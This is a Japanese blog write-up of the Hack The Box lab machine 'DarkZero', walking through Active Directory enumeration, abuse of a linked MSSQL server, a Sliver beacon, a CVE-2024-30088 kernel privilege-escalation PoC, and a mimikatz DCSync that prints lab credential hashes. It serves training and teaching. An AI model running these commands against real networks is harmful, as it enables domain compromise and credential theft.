0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】DarkZero【WriteUp】

0
Last updated at Posted at 2026-04-05

初めに

本記事は Hack The Box(以下リンク参照) の「DarkZero」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

初期探索

ポートスキャン

┌──(kali㉿kali)-[~/Desktop]
└─$ rustscan -a 10.10.11.89 --top
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.89:53
Open 10.10.11.89:88
Open 10.10.11.89:135
Open 10.10.11.89:139
Open 10.10.11.89:389
Open 10.10.11.89:445
Open 10.10.11.89:464
Open 10.10.11.89:593
Open 10.10.11.89:636
Open 10.10.11.89:1433
Open 10.10.11.89:2179
Open 10.10.11.89:3268
Open 10.10.11.89:3269
Open 10.10.11.89:5985
Open 10.10.11.89:9389
Open 10.10.11.89:49666
Open 10.10.11.89:49664
Open 10.10.11.89:49689
Open 10.10.11.89:49688
Open 10.10.11.89:49909
Open 10.10.11.89:49950
Open 10.10.11.89:49984
Open 10.10.11.89:62943
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 07:22 EDT
Initiating Ping Scan at 07:22
Scanning 10.10.11.89 [4 ports]
Completed Ping Scan at 07:22, 0.21s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 07:22
Scanning darkzero.htb (10.10.11.89) [23 ports]
Discovered open port 445/tcp on 10.10.11.89
Discovered open port 53/tcp on 10.10.11.89
Discovered open port 135/tcp on 10.10.11.89
Discovered open port 5985/tcp on 10.10.11.89
Discovered open port 49666/tcp on 10.10.11.89
Discovered open port 3268/tcp on 10.10.11.89
Discovered open port 49689/tcp on 10.10.11.89
Discovered open port 139/tcp on 10.10.11.89
Discovered open port 1433/tcp on 10.10.11.89
Discovered open port 3269/tcp on 10.10.11.89
Discovered open port 389/tcp on 10.10.11.89
Discovered open port 49688/tcp on 10.10.11.89
Discovered open port 2179/tcp on 10.10.11.89
Discovered open port 593/tcp on 10.10.11.89
Discovered open port 62943/tcp on 10.10.11.89
Discovered open port 49984/tcp on 10.10.11.89
Discovered open port 9389/tcp on 10.10.11.89
Discovered open port 636/tcp on 10.10.11.89
Discovered open port 49950/tcp on 10.10.11.89
Discovered open port 464/tcp on 10.10.11.89
Discovered open port 88/tcp on 10.10.11.89
Discovered open port 49664/tcp on 10.10.11.89
Discovered open port 49909/tcp on 10.10.11.89
Completed SYN Stealth Scan at 07:22, 0.49s elapsed (23 total ports)
Nmap scan report for darkzero.htb (10.10.11.89)
Host is up, received echo-reply ttl 127 (0.21s latency).
Scanned at 2025-10-15 07:22:06 EDT for 1s

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
2179/tcp  open  vmrdp            syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49688/tcp open  unknown          syn-ack ttl 127
49689/tcp open  unknown          syn-ack ttl 127
49909/tcp open  unknown          syn-ack ttl 127
49950/tcp open  unknown          syn-ack ttl 127
49984/tcp open  unknown          syn-ack ttl 127
62943/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds
           Raw packets sent: 27 (1.164KB) | Rcvd: 27 (1.684KB

WindowsのPortが開いている。HTTP系のブラウザを扱うサービスはなさそう。AD環境ぽい。

ドメイン情報収集

ldapのスクリプトも回してさっとAD環境の情報を取得する。

┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -p 389 -n -Pn --script ldap-rootdse 10.10.11.89
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-01 07:36 EST
Nmap scan report for 10.10.11.89
Host is up (0.20s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 10
|       rootDomainNamingContext: DC=darkzero,DC=htb
|       ldapServiceName: darkzero.htb:dc01$@DARKZERO.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: MaxPreAuthReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedLDAPPolicies: SecurityDescriptorWarningSize
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=darkzero,DC=htb
|       serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=darkzero,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=darkzero,DC=htb
|       namingContexts: DC=darkzero,DC=htb
|       namingContexts: CN=Configuration,DC=darkzero,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=darkzero,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=darkzero,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=darkzero,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 151709
|       dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=darkzero,DC=htb
|       dnsHostName: DC01.darkzero.htb
|       defaultNamingContext: DC=darkzero,DC=htb
|       currentTime: 20251201193621.0Z
|_      configurationNamingContext: CN=Configuration,DC=darkzero,DC=htb
Service Info: Host: DC01; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

darkzero.htbのドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。

10.10.11.89    darkzero.htb

また、クレデンシャル情報が渡されるか確認してみた。
image.png
これを利用していく形だと思われる。

SMB列挙

上記クレデンシャルを使って認証できるかを確認しつつ、共有階層を探してみる。

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb 10.10.11.89 -u john.w -p 'RFulUtONCOL!' --shares
SMB         10.10.11.89     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.89     445    DC01             [+] darkzero.htb\john.w:RFulUtONCOL! 
SMB         10.10.11.89     445    DC01             [*] Enumerated shares
SMB         10.10.11.89     445    DC01             Share           Permissions     Remark
SMB         10.10.11.89     445    DC01             -----           -----------     ------
SMB         10.10.11.89     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.89     445    DC01             C$                              Default share
SMB         10.10.11.89     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.89     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.89     445    DC01             SYSVOL          READ            Logon server share 

特段なし。

AD列挙

Bloodhoundで列挙しておきます。

┌──(kali㉿kali)-[~/Desktop]
└─$ bloodhound-ce-python -c all -u john.w -p 'RFulUtONCOL!' -d darkzero.htb -ns 10.10.11.89 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: darkzero.htb

image.png
このユーザからは何もできなさそう。

イニシャルアクセス

AD Abuse

とりあえずAasreproast、Kerberoastingなどを確認してみる。

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc ldap dc01.darkzero.htb -u john.w -p 'RFulUtONCOL!' --asreproast asreproast2.out
LDAP        10.10.11.89     389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb)
LDAPS       10.10.11.89     636    DC01             [+] darkzero.htb\john.w:RFulUtONCOL! 
LDAPS       10.10.11.89     636    DC01             No entries found!


┌──(kali㉿kali)-[~/Desktop]
└─$ nxc ldap dc01.darkzero.htb -u john.w -p 'RFulUtONCOL!' --kerberoasting kerberoasting.out
LDAP        10.10.11.89     389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb)
LDAPS       10.10.11.89     636    DC01             [+] darkzero.htb\john.w:RFulUtONCOL! 
LDAPS       10.10.11.89     636    DC01             [*] Skipping disabled account: krbtgt
LDAPS       10.10.11.89     636    DC01             [*] Total of records returned 0

特段なし。
GPPも確認してみる。

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb dc01.darkzero.htb -u john.w -p 'RFulUtONCOL!' -M gpp_password               
SMB         10.10.11.89     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.89     445    DC01             [+] darkzero.htb\john.w:RFulUtONCOL! 
SMB         10.10.11.89     445    DC01             [*] Enumerated shares
SMB         10.10.11.89     445    DC01             Share           Permissions     Remark
SMB         10.10.11.89     445    DC01             -----           -----------     ------
SMB         10.10.11.89     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.89     445    DC01             C$                              Default share
SMB         10.10.11.89     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.89     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.89     445    DC01             SYSVOL          READ            Logon server share 
GPP_PASS... 10.10.11.89     445    DC01             [+] Found SYSVOL share
GPP_PASS... 10.10.11.89     445    DC01             [*] Searching for potential XML files containing passwords
SMB         10.10.11.89     445    DC01             [*] Started spidering
SMB         10.10.11.89     445    DC01             [*] Spidering .
SMB         10.10.11.89     445    DC01             [*] Done spidering (Completed in 12.713560104370117)


┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb dc01.darkzero.htb -u john.w -p 'RFulUtONCOL!' -M gpp_autologin
SMB         10.10.11.89     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.89     445    DC01             [+] darkzero.htb\john.w:RFulUtONCOL! 
SMB         10.10.11.89     445    DC01             [*] Enumerated shares
SMB         10.10.11.89     445    DC01             Share           Permissions     Remark
SMB         10.10.11.89     445    DC01             -----           -----------     ------
SMB         10.10.11.89     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.89     445    DC01             C$                              Default share
SMB         10.10.11.89     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.89     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.89     445    DC01             SYSVOL          READ            Logon server share 
GPP_AUTO... 10.10.11.89     445    DC01             [+] Found SYSVOL share
GPP_AUTO... 10.10.11.89     445    DC01             [*] Searching for Registry.xml
SMB         10.10.11.89     445    DC01             [*] Started spidering
SMB         10.10.11.89     445    DC01             [*] Spidering .
SMB         10.10.11.89     445    DC01             [*] Done spidering (Completed in 13.178398847579956)

MSSQL

MSSQLへの高権限があるのか試してみる。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@10.10.11.89 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (darkzero\john.w  guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (darkzero\john.w  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
SQL (darkzero\john.w  guest@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0   

tempdb                   0   

model                    0   

msdb                     1   

SQL (darkzero\john.w  guest@master)> enum_users
UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   

guest                public     NULL        NULL        guest           b'2         '   b'00'   

INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   

sys                  public     NULL        NULL        NULL            b'4         '    NULL   

SQL (darkzero\john.w  guest@master)> enum_owner
Database   Owner   
--------   -----   
master     sa      

tempdb     sa      

model      sa      

msdb       sa      

SQL (darkzero\john.w  guest@master)> enum_links
SRV_NAME            SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE      SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
-----------------   ----------------   -----------   -----------------   ------------------   ------------   -------   
DC01                SQLNCLI            SQL Server    DC01                NULL                 NULL           NULL      

DC02.darkzero.ext   SQLNCLI            SQL Server    DC02.darkzero.ext   NULL                 NULL           NULL      

Linked Server       Local Login       Is Self Mapping   Remote Login   
-----------------   ---------------   ---------------   ------------   
DC02.darkzero.ext   darkzero\john.w                 0   dc01_sql_svc   

むむ?リンクがある。しかも別ドメイン。
リンク先のログインもdc01_sql_svcでマッピングがされているので権限がありそう。

リンク先でコマンドが打てるか確認してみる。

スクリーンショット 2025-10-15 203344.png

あ、いけそう。
コマンドを打ってみる。

SQL (darkzero\john.w  guest@master)> use_link "DC02.darkzero.ext";
SQL >"DC02.darkzero.ext"; (dc01_sql_svc  dbo@master)> 

スクリーンショット 2025-10-15 203649.png
いけた。これでシェルゲットだわ。
Sliverのビーコンを送り込んでシェルをゲットする。

[server] sliver (mybe) > sharpview -- Get-Domain

[*] sharpview output:
Forest                         : darkzero.ext
DomainControllers              : {DC02.darkzero.ext}
Children                       : {}
DomainMode                     : Unknown
DomainModeLevel                : 7
PdcRoleOwner                   : DC02.darkzero.ext
RidRoleOwner                   : DC02.darkzero.ext
InfrastructureRoleOwner        : DC02.darkzero.ext
Name                           : darkzero.ext

とれた!
ドメインが違う....?なんこれ?

権限昇格

情報収集

適当にnc.exeでリバースシェルを張ってwinPeasを回してみる。

PS C:\Users\svc_sql\Desktop> C:\Windows\Temp\winPEASany.exe
C:\Windows\Temp\winPEASany.exe
 [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
     
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.

  WinPEAS-ng by @hacktricks_live

       /---------------------------------------------------------------------------------\
       |                             Do you like PEASS?                                  |
       |---------------------------------------------------------------------------------| 
       |         Learn Cloud Hacking       :     training.hacktricks.xyz                 |
       |         Follow on Twitter         :     @hacktricks_live                        |
       |         Respect on HTB            :     SirBroccoli                             |
       |---------------------------------------------------------------------------------|
       |                                 Thank you!                                      |
       \---------------------------------------------------------------------------------/

  [+] Legend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links

 You can find a Windows local PE Checklist here: https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html
   Creating Dynamic lists, this could take a while, please wait...
   - Loading sensitive_files yaml definitions file...
   - Loading regexes yaml definitions file...
   - Checking if domain...
   - Getting Win32_UserAccount info...
   - Creating current user groups list...
   - Creating active users list (local only)...
   - Creating disabled users list...
   - Admin users list...
   - Creating AppLocker bypass list...
   - Creating files/directories list for search...

何もない。sharpupで確認してみる。

[server] sliver (mybe) > sharpup -- audit

[*] sharpup output:

=== SharpUp: Running Privilege Escalation Checks ===
[!] Modifialbe scheduled tasks were not evaluated due to permissions.

[-] Not vulnerable to any of the 15 checked modules.


[*] Completed Privesc Checks in 2 seconds

何もない。bloodhoundで列挙してみると、証明書サービスがあったので適当に確認してみた。

[server] sliver (mybe) > certify -- find /vulnerable

[*] certify output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.1.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=darkzero,DC=ext'

[*] Listing info about the Enterprise CA 'darkzero-ext-DC02-CA'

    Enterprise CA Name            : darkzero-ext-DC02-CA
    DNS Hostname                  : DC02.darkzero.ext
    FullName                      : DC02.darkzero.ext\darkzero-ext-DC02-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=darkzero-ext-DC02-CA, DC=darkzero, DC=ext
    Cert Thumbprint               : 56B26E2CB5DD40283F32A80A07D637782F557F95
    Cert Serial                   : 1643389103EC9DA6407DCE3E015ECD07
    Cert Start Date               : 7/29/2025 7:17:46 AM
    Cert End Date                 : 7/29/2035 7:27:43 AM
    Cert Chain                    : CN=darkzero-ext-DC02-CA,DC=darkzero,DC=ext
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               darkzero-ext\Domain Admins    S-1-5-21-1969715525-31638512-2552845157-512
      Allow  ManageCA, ManageCertificates               darkzero-ext\Enterprise AdminsS-1-5-21-1969715525-31638512-2552845157-519
    Enrollment Agent Restrictions : None

特段何も出てこなかった。
とりあえずOS versionでも確認してみるか。

[server] sliver (mybe) > execute -o systeminfo

[*] Output:

Host Name:                 DC02
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00454-70295-72962-AA965
Original Install Date:     7/29/2025, 5:57:54 AM
System Boot Time:          10/15/2025, 10:01:40 AM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.1, 11/21/2024
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 594 MB
Virtual Memory: Max Size:  3,199 MB
Virtual Memory: Available: 1,565 MB
Virtual Memory: In Use:    1,634 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    darkzero.ext
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 172.16.20.2
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

[server] sliver (mybe) > execute -o powershell (Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\").UBR

[*] Output:
2113

[server] sliver (mybe) >  

20348.2113を調べてみる。悪用可能かどうかの観点が入るEPSSでソートすると良い。

スクリーンショット 2025-10-15 214742.png

CVE-2024-30088を調べてみる!

CVE-2024-30088

ざっくり調べるとカーネル系の脆弱性のようだ。

POCがあるので利用してみる。

VisualStudioを使ってるPOCだったのでWindwosで作業する。
POCの中身を適当にSliverのビーコンに差し替える。
スクリーンショット 2025-10-15 215645.png
さて実行だ!

[server] sliver (mybe) > upload poc.exe

[*] Wrote file to C:\Users\svc_sql\Downloads\poc.exe

[server] sliver (mybe) > execute -o poc.exe

[*] Output:
Found object!
hToken: c4, kTokenAddr: FFFF960195E29920
Found target offset value: 0x5f0
Target address = 0x2aaaa8705f0
Got Winlogon handle: 0x255c
Enjoy your new SYSTEM process

スクリーンショット 2025-10-15 220447.png
あざます。(死ぬほどビーコン生やしてメモリ食ってるのすまん。。。)

コレクション

DCsync

DC02のSYSTEM権限が取れたのでこのドメイン上の資格情報を全て抽出してやろう。
SliverさんでMimikatzを実行する。

[server] sliver (mybe) > mimikatz -t 120 -- "privilege::debug" \""lsadump::dcsync /all /domain:darkzero.ext"\" "exit"

[*] Successfully executed mimikatz
[*] Got output:

  .#####.   mimikatz 2.2.0 (x64) #19041 May 17 2024 22:19:06
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /all /domain:darkzero.ext
[DC] 'darkzero.ext' will be the domain
[DC] 'DC02.darkzero.ext' will be the DC server
[DC] Exporting domain 'darkzero.ext'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : darkzero


Object RDN           : LostAndFound


Object RDN           : Deleted Objects


Object RDN           : Users


Object RDN           : Computers


Object RDN           : System


Object RDN           : WinsockServices


…中略


Object RDN           : Administrators

** SAM ACCOUNT **

SAM Username         : Administrators
Object Security ID   : S-1-5-32-544
Object Relative ID   : 544

Credentials:

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 43e27ea2be22babce4fbcff3bc409a9d

Object RDN           : Read-only Domain Controllers

** SAM ACCOUNT **

SAM Username         : Read-only Domain Controllers
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-521
Object Relative ID   : 521

Credentials:

Object RDN           : Domain Controllers

** SAM ACCOUNT **

SAM Username         : Domain Controllers
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-516
Object Relative ID   : 516

Credentials:

Object RDN           : SQLServer2005SQLBrowserUser$DC02

** SAM ACCOUNT **

SAM Username         : SQLServer2005SQLBrowserUser$DC02
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-1104
Object Relative ID   : 1104

Credentials:

Object RDN           : {6AC1786C-016F-11D2-945F-00C04fB984F9}


Object RDN           : BCKUPKEY_429d937f-1b7f-450b-99a4-7a7651e2022d Secret

  * Legacy key
1f4c28783f50238d30353b8f39b69acdfe77525eae9d748eca56520c50bd4f91
74fdf795545ad365a044c2f3c6c7dad472577480f06fc392c06faff5454bf7f4
bf7d59cc568c4bf5971f7b083d62ddde321886b1c436e6659d1e601999f4cf5a
d92b35d3dac92331e98a3e2746f4ffa6c905a61be6c75573ac1bb8bb6d21c1b7
2b90a2cb5dd743b36d0e98b17fb4c5074d578876a6f795ddf8525f6f625e06fd
ecf7823128a4244e96e0e681965e98fad74ef0fd52a17712eeb47426950b9322
4c35521efb1b5935c71db4c9489f36eb3671008b306bb78b6e01dbc6199b23b1
